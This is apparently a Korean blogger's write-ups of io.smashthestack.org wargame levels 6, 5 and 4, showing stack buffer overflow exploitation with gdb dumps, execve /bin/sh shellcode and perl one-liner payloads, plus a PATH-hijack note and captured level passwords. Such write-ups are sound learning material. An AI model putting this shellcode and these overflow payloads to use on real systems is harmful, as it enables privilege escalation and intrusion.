buf1, buf2, buf3는 메모리상에 연속된 공간입니다. 버퍼의 마지막을 구분하는건 NULL 값인데
argv[2]의 값을 buf3로 복사할때
32개의 값을 주게되면 buf2와 buf3는 연속된 공간으로 인식 될 것입니다.
따라서 strcpy 구문을 이용해 BOF를 발생시킬 수 있습니다.


라고 가정하였습니다; 확인해봅시다.


level6@io:/levels$ ./level6 `perl -e 'print "A"x31," ","\x90"x31'`

level6@io:/levels$ ./level6 `perl -e 'print "A"x31," ","\x90"x32'`
Segmentation fault

네. 다행입니다; 이제 스택을 확인 한 후 쉘코드를 올려보겠습니다.

우선 copy_buffers 함수



gdb) disas copy_buffers
Dump of assembler code for function copy_buffers:
0x08048394 <copy_buffers+0>:    push   %ebp
0x08048395 <copy_buffers+1>:    mov    %esp,%ebp
0x08048397 <copy_buffers+3>:    sub    $0x78,%esp                      stack을 120만큼 확장
0x0804839a <copy_buffers+6>:    mov    0x8(%ebp),%eax                argv[0]을 eax로
0x0804839d <copy_buffers+9>:    add    $0x4,%eax                         eax를 4만큼 증가 -> argv[0+1]
0x080483a0 <copy_buffers+12>:   mov    (%eax),%eax                    eax의 어드레스를 eax로
0x080483a2 <copy_buffers+14>:   movl   $0x1f,0x8(%esp)                31을 esp+8로
0x080483aa <copy_buffers+22>:   mov    %eax,0x4(%esp)               argv[1]을 esp+4로
0x080483ae <copy_buffers+26>:   lea    0xffffffc0(%ebp),%eax           ebp-64 의 주소를 eax로 -> buf2
0x080483b1 <copy_buffers+29>:   mov    %eax,(%esp)                   eax의 주소를 esp로
0x080483b4 <copy_buffers+32>:   call   0x80482b4 <strncpy@plt>
0x080483b9 <copy_buffers+37>:   mov    0x8(%ebp),%eax             
0x080483bc <copy_buffers+40>:   add    $0x8,%eax                      인덱스를 2만큼 증가 -> argv[2]
0x080483bf <copy_buffers+43>:   mov    (%eax),%eax
0x080483c1 <copy_buffers+45>:   movl   $0x20,0x8(%esp)
0x080483c9 <copy_buffers+53>:   mov    %eax,0x4(%esp)
0x080483cd <copy_buffers+57>:   lea    0xffffffa0(%ebp),%eax        ebp-96의 주소를 eax로  -> buf3
0x080483d0 <copy_buffers+60>:   mov    %eax,(%esp)
0x080483d3 <copy_buffers+63>:   call   0x80482b4 <strncpy@plt>
0x080483d8 <copy_buffers+68>:   lea    0xffffffa0(%ebp),%eax       
0x080483db <copy_buffers+71>:   mov    %eax,0x4(%esp)             ebp-96을 esp+4 로
0x080483df <copy_buffers+75>:   lea    0xffffffe0(%ebp),%eax
0x080483e2 <copy_buffers+78>:   mov    %eax,(%esp)                  ebp-32를 esp로         ->buf1
0x080483e5 <copy_buffers+81>:   call   0x80482d4 <strcpy@plt>
0x080483ea <copy_buffers+86>:   leave
0x080483eb <copy_buffers+87>:   ret
End of assembler dump.

       


argv
ret address
ebp
buf1    ---- ebp-32
buf2    ---- ebp-64
buf3    ---- ebp-96

스택의 모양이 위와 같고 63 byte 를 이용할 수 있습니다.(buf3+buf2의 크기)

buf1의 크기가 32바이트 이므로 retrun address를 덮어 씌울려면 40 byte가 필요합니다. 공격코드는 아래와 같은 형태입니다.
[Shellcode][Shellcode`s address][NOP]

         
level5에서 만든 쉘코드의 크기는 45 byte이므로 보다 작은 코드(25byte)를 이용하겠습니다. (http://milw0rm.com/shellcode/6272 참조)

"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";


NOP의 주소를 확인하기 위해 gdb에서 0x080483ea <copy_buffers+86>:   leave 에breakpoint를 걸었습니다.

(gdb) r `perl -e 'print "A"x31," ","\x90"x32'`
Starting program: /levels/level6 `perl -e 'print "A"x31," ","\x90"x32'`

Breakpoint 1, 0x080483ea in copy_buffers ()
(gdb) info reg esp
esp            0xbfffdc80       0xbfffdc80
(gdb) x/150x 0xbfffdc80
0xbfffdc80:     0xbfffdcd8      0xbfffdc98      0x00000020      0x00000000
0xbfffdc90:     0x00000000      0x00000000      0x90909090      0x90909090
0xbfffdca0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdcb0:     0x90909090      0x90909090      0x4141
4141      0x41414141
0xbfffdcc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffdcd0:     0x41414141      0x00414141      0x90909090      0x90909090
0xbfffdce0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdcf0:     0x90909090      0x90909090       0x41414141      0x41414141
0xbfffdd00:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffdd10:     0x41414141      0x00414141      0xbfffdd68       0x00d52ea8
0xbfffdd20:     0x00000003      0xbfffdd94       0xbfffdda4       0x00000000
0xbfffdd30:     0x00e6bff4      0x00000000       0x00ed9cc0      0xbfffdd68
0xbfffdd40:     0xbfffdd20       0x00d52e6d     0x00000000      0x00000000
0xbfffdd50:     0x00000000      0x00ecf090      0x00d52ded      0x00ed9ff4
...



buf2와 buf3가 연달아 복사되서 오버플로우를 확인할 수 있네요. buf3는 0xbfffdc98 부터 이며 return address0xbfffdcbc 입니다.

최종 공격코드 입니다.


"\x90"x4,"\x98\xdc\xff\xbf","\x90"x23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x7'`

 

level6@io:/levels$ ./level6 `perl -e 'print "\x90"x4,"\x98\xdc\xff\xbf","\x90"x23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x7'`

 /levels/level6 `python -c 'print "\x90"*4+"\x78\xdc\xff\xbf"+"\x90"*23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7'`

sh-3.1$ id
uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1006(level6)

sh-3.1$ cat /home/level7/.pass
arg4sans---->  qpapbi2w

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level25  (0) 2014.02.09
io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org

level5

2010. 1. 19. 05:47

level5 는 소스가 공개되어 있네요. 소스부터 살펴봤습니다.

level5@io:~$ cd /levels
level5@io:/levels$ cat ./level5.c
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

        char buf[128];

        if(argc < 2) return 1;

        strcpy(buf, argv[1]);

        printf("%s\n", buf);

        return 0;
}
level5@io:/levels$ ./level5
level5@io:/levels$ ./level5 AAAAAAAA
AAAAAAAA




BOF 군요. 바이너리도 한번 살펴봤습니다.

Dump of assembler code for function main:
0x080483b4 <main+0>:    push   %ebp
0x080483b5 <main+1>:    mov    %esp,%ebp
0x080483b7 <main+3>:    sub    $0xa8,%esp                   스택을 168 만큼 확장
0x080483bd <main+9>:    and    $0xfffffff0,%esp
0x080483c0 <main+12>:   mov    $0x0,%eax
0x080483c5 <main+17>:   sub    %eax,%esp
0x080483c7 <main+19>:   cmpl   $0x1,0x8(%ebp)               agrc는 ebp+8에 위치
0x080483cb <main+23>:   jg     0x80483d9 <main+37>
0x080483cd <main+25>:   movl   $0x1,0xffffff74(%ebp)
0x080483d7 <main+35>:   jmp    0x8048413 <main+95>
0x080483d9 <main+37>:   mov    0xc(%ebp),%eax           argv는 ebp+12에 위치  
0x080483dc <main+40>:   add    $0x4,%eax
0x080483df <main+43>:   mov    (%eax),%eax
0x080483e1 <main+45>:   mov    %eax,0x4(%esp)
0x080483e5 <main+49>:   lea    0xffffff78(%ebp),%eax        ebp-136의 주소를 eax로
0x080483eb <main+55>:   mov    %eax,(%esp)
0x080483ee <main+58>:   call   0x80482d4 <strcpy@plt>
0x080483f3 <main+63>:   lea    0xffffff78(%ebp),%eax
0x080483f9 <main+69>:   mov    %eax,0x4(%esp)
0x080483fd <main+73>:   movl   $0x8048524,(%esp)
0x08048404 <main+80>:   call   0x80482b4 <printf@plt>
0x08048409 <main+85>:   movl   $0x0,0xffffff74(%ebp)
0x08048413 <main+95>:   mov    0xffffff74(%ebp),%eax
0x08048419 <main+101>:  leave
0x0804841a <main+102>:  ret

argv[1]의 값이 ebp-136의 주소로 들어가는걸로 봐서 return address 는 140byte를 채우고 난 다음부터 일거라 예상했습니다.

쉘코드는 wowhacker 달고나님이 쓰신 "buffer_overflow_foundation_pub"를 참고해서 만들어봤습니다.


"\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3" 

만들어진 쉘코드를 아래 코드로 테스트 했습니다만 작동하지 않았습니다.

char shell[] ="\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3";

void main()
{
        int *ret;
        ret =(int *)&ret + 2;
        *ret = shell;
}




혹시나 하는 마음에 만들어진 바이너리를 디버깅해보니..

Dump of assembler code for function main:
0x08048324 <main+0>:    lea    0x4(%esp),%ecx
0x08048328 <main+4>:    and    $0xfffffff0,%esp
0x0804832b <main+7>:    pushl  0xfffffffc(%ecx)
0x0804832e <main+10>:   push   %ebp
0x0804832f <main+11>:   mov    %esp,%ebp
0x08048331 <main+13>:   push   %ecx
0x08048332 <main+14>:   sub    $0x10,%esp
0x08048335 <main+17>:   lea    0xfffffff8(%ebp),%eax
0x08048338 <main+20>:   add    $0x1c,%eax
0x0804833b <main+23>:   mov    %eax,0xfffffff8(%ebp)
0x0804833e <main+26>:   mov    0xfffffff8(%ebp),%edx
0x08048341 <main+29>:   mov    $0x8049580,%eax
0x08048346 <main+34>:   mov    %eax,(%edx)
0x08048348 <main+36>:   add    $0x10,%esp
0x0804834b <main+39>:   pop    %ecx
0x0804834c <main+40>:   pop    %ebp
0x0804834d <main+41>:   lea    0xfffffffc(%ecx),%esp
0x08048350 <main+44>:   ret

스택을 할당하는데 차이가 있어서 return address를 찾지 못하는 것이 이유 같네요.
따라서 리턴 어드레스를 쉘코드로 덮어 씌우고자 "+2" 값을 증가시켰습니다.

(return address가 ebp+4 의 위치에 있지 않았습니다. 값을 1씩 증가시키면서 확인해보았습니다.)

ret =(int *)&ret + 7;

다 준비됐으니 이제 넘치게 해보겠습니다.

처음엔 [Shellcode] [AAAA.....] [Shellcode address]  이렇게 해보고자 했지만 되질 않더군요.

level5@io:/levels$ ./level5 `perl -e 'print "\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3","A"x95,"\x30\xde\xff\xbf"'`
°
 ™Rh//shh/bin‰ãRS‰áÍ€AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0Þÿ¿
Segmentation fault



어떻게 할까 고민하다가 구글링해보니 \x90을 이용한 방법이 있었습니다


[NOPNOPNOP...] [Shell code] [NOP address]  

return address를 NOP 중 어딘가로 지정해주면 흘러가다가 마지막엔 Shellcode가 실행.


./level5 `perl -e 'print "\x90"x95,"\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3","\x48\xde\xff\xbf"'`

level5@io:/levels$ ./level5 `perl -e 'print "\x90"x95,"\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x8L$ƒäðÿqüU‰åQ1ÀPh//shh/bin‰ãPS‰á‰Â°x5d\aüÃHÞÿ¿\xfc\xc3","\x48\xde\xff\xbf"'`
sh-3.1$ id                        Í€Y]
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1005(level5)
sh-3.1$ cat /home/level6/.pass
hur9ivke   > mobjy2we


  흠.. exploit 를 NOP + shellcode + NOP`s address 형태로 입력했을때 희안한 증상이
생기더군요.
예를 들어 NOP의 시작 어드레스가 ebp-0x88 에 위치해 있을때 이 주소가 0xbfffdc20
 이라고 하면
NOP`s address를 0xbfffdc20 으로 입력했을 때 세그 폴트가 발생하길래 확인해봤더
니 입력한대로
값이 들어가지 않고 이상한 값이 들어가 있었습니다.

혹시나 해서 0xbfffdc21 로 입력했더니 잘 입력이
되긴 했지만 역시 세그 폴트가 발생했습니다.
이것도 역시 입력한 쉘코드의 내용이 바뀌어 있었습니다.
결국 argv의 주소를 던져줬더니 쉘이
떨어지긴 했습니다만 이런 현상이 생기는 이유가 궁금하네요.

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18
level10  (1) 2009.05.04

badcob War game/io.smashthestack.org

level4

2010. 1. 18. 15:59


 달랑 system함수로 id 만 실행하는 바이너리네요. 환경변수를 이용해 볼까하고
 PATH를 바꿔주고 /tmp 에 가보니 이미 id 라는 쉘을 실행하는 바이너리가 있었습니다.


.pass를 보기전에 환경변수를 다시 셋팅~





 

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18
level10  (1) 2009.05.04

badcob War game/io.smashthestack.org